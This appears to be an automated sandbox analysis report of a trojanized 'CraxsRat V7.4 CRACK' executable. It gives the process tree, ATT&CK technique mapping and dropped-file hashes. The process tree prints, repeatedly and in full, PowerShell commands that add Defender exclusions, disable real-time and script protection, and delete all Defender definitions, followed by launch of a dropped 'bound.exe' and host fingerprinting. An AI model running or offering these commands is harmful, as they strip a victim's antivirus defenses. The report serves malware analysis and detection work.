  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5384 /prefetch:1
  2⤵
  PID:1856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5792 /prefetch:8
  2⤵
  PID:3636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5776 /prefetch:1
  2⤵
  PID:4956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6852 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5096 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3704

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1612

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3600

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5640

C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
"C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
1⤵
PID:5188
- C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
  "C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
  2⤵
  - Loads dropped DLL
  PID:1740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'"
    3⤵
    PID:5320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:1400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5552
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:1544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    PID:5720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    PID:5712
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of SendNotifyMessage
      PID:5832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5012
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:5252
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4580

C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
"C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
1⤵
PID:3016
- C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
  "C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
  2⤵
  - Loads dropped DLL
  PID:5328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'"
    3⤵
    PID:2280
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:1748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5912
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:6040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:3980
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4580
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6012

C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
"C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
1⤵
PID:3328
- C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
  "C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
  2⤵
  - Loads dropped DLL
  PID:5552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'"
    3⤵
    PID:1388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3700
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:6004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    PID:1860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    PID:5356
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of SendNotifyMessage
      PID:6012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5312
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4280
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2408

C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
"C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
1⤵
PID:5776
- C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
  "C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
  2⤵
  - Loads dropped DLL
  PID:5344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'"
    3⤵
    PID:6020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:724
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:1116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4036
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:6056
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1192

C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
"C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
1⤵
PID:5936
- C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
  "C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
  2⤵
  PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'"
    3⤵
    PID:2056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:5004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2232
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:5348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    PID:5948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    PID:3056
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SendNotifyMessage
      PID:4644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:1340
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2220
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:6048

C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
"C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
1⤵
PID:2396
- C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
  "C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
  2⤵
  PID:5408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'"
    3⤵
    PID:2364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:1848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5300
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:2220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:1328
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4488
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:2544

C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe
"C:\Users\Admin\Downloads\CraxsRat V7.4 CRACK\CraxsRat V7.4\CraxsRat V7.4.exe"
1⤵
PID:3716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
MD5 3eb3833f769dd890afc295b977eab4b4
SHA1 e857649b037939602c72ad003e5d3698695f436f
SHA512 c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 591bf3493eb620a3851c0cd65bff79758a09c61e9a22ea113fa0480404a38b15
MD5 6dda6e078b56bc17505e368f3e845302
SHA1 45fbd981fbbd4f961bf72f0ac76308fc18306cba
SHA512 9e460013fd043cee9bdbcdaf96ac2f7e21a08e88ddb754dddbd8378ee2288d50271e66b42092d84a12e726469465185be11a6fafab6ed4236a244524bd60f502
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 588138bf57e937e1dec203a5073c3edb1e921c066779e893342e79e3d160e0b4
MD5 f6126b3cef466f7479c4f176528a9348
SHA1 87855913d0bfe2c4559dd3acb243d05c6d7e4908
SHA512 ef622b26c8cee1f767def355b2d7bffb2b28e7a653c09b7e2d33f6468a453fff39fd120cacbffd79ce35722592af0f3fb7d5054e2dca06310e44dc460533f3d8
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 288B
SHA256 6a7cd1bd1ab531b977da0407e72a69c5177681e7ff0f49ea435a0f2d940c81b0
MD5 7c7b6dab4a16b4041aae281880c51486
SHA1 f0e4320c549ba4a89c4dc226b6b7ff09873b4c4c
SHA512 3a92dad7963ca869acaa07b539f9c79a9c8328ffcd744a03f0f62f7b1e7b3a67e05fa20531658ea7d78e455a627eaed76ac2718fc066f5af8efc7e704e9673ab
MD5 SHA1 SHA512

Submit Download

the-real-index~RFe57fa3e.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe57fa3e.TMP
Size 48B
SHA256 fab86e7278ceb2531bb1aa1b77895058bbbade7d3f9151510996bd0bced2c91f
MD5 5a3e00ac72d2b5212670c2ca8901e26f
SHA1 8091ec159dfb3b2e59a51ae7c5d21efa7f5c240b
SHA512 aad1b6c7c2c7cae250ced22154566be464154bdc34a7a496be47014971b7c4f16f0443d402b247994969d90610b6985c3a69b2bc6c02afdfd8dc62d0184165d6
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25
MD5 e5e3377341056643b0494b6842c0b544
SHA1 d53fd8e256ec9d5cef8ef5387872e544a2df9108
SHA512 83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef
SSDEEP 1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5 SHA1 SHA512 SSDEEP

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Size 391B
SHA256 4f4d38c0d6fe7b3375b7ef066d3a80a7b04271803725757754253ec5dcd372bf
MD5 ab275d2f26e9f1f7bddfd70d4a6c83b0
SHA1 fc2f34a41fde8c1efefa22a4752ed10e05d535f8
SHA512 f8d9fee45a9174ef588730aa31c01159fa0aeca2b1dd1d8c016a5697271e83339f6d503e321d28ee4797ab8ff282c7d3aa081370914b749c4b41c034b7b9c921
MD5 SHA1 SHA512

Submit Download

Network Persistent State~RFe58bab0.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State~RFe58bab0.TMP
Size 59B
SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
MD5 2800881c775077e1c4b6e06bf4676de4
SHA1 2873631068c8b3b9495638c865915be822442c8b
SHA512 e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 5KB
SHA256 ea835fbff7ca3c3706de4608aa56748c81f25446675103c9b1afd379fe5439d2
MD5 09782ca36259a415f4acf4265bcb558c
SHA1 2422b1e2f1a1bb82eadd8c7b9b6ed3a4d3d4636d
SHA512 b5eab60146989a16cfef155736b798a0c249a048dc69f7cde4c370597927e3925ecf3977aa200f0c2551d8bb9860f9f72fea3f5f80d3da33efeb86d9c886c269
SSDEEP 96:nqTV13sPJkwpvWMoiVmdexuj1jGIcUWQyV+VD7AiEwb:nqxRuCGWMhujhcrg
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 5KB
SHA256 e8cf1fcae58fcfc99a27477cc2a161d696ef0f26d455917a8d64eeebe6e13374
MD5 8a9d8aff3f83d1e86611fdc1bc74f32a
SHA1 735107bbf1b35dc225b7354f7076aab0ed1261d6
SHA512 0a1dbeacf439dc2360a881191666561478464ad247a31ce1bc4ca8fa73c1a6793a686b77f0a56c72d779341bb4befe9602d6a4285c5d920f801886598d40ead2
SSDEEP 96:ngaV13sPJkwpvWMoiVmdeHGI2UWQyV+VDCAia:ng2RuCGWMX2re
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 5KB
SHA256 881394ef3e01bd0fd0c0eb6cc406a099f92aacd1460504c137be010cc6725e20
MD5 010a9fab3595f17f470f52bd670c8af8
SHA1 aea6d5ff638b4cc8c2e1b1c7adc7957c68a7ebc9
SHA512 91e4c41ef7e37ea4a6418407a1025f0a8a8d349a3104e7b950925fdce77b2a422bfd0844c2050da9ed8b0c9f8873d0907a9cdaf2d8a480e6bd2e553b6fc4b172
SSDEEP 96:nqDsQjV1bsPJkwpvWMoiVmdePwzjNGISUWQyV+VD7AiEwb:nq/RuCGWM/wzpSrg
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

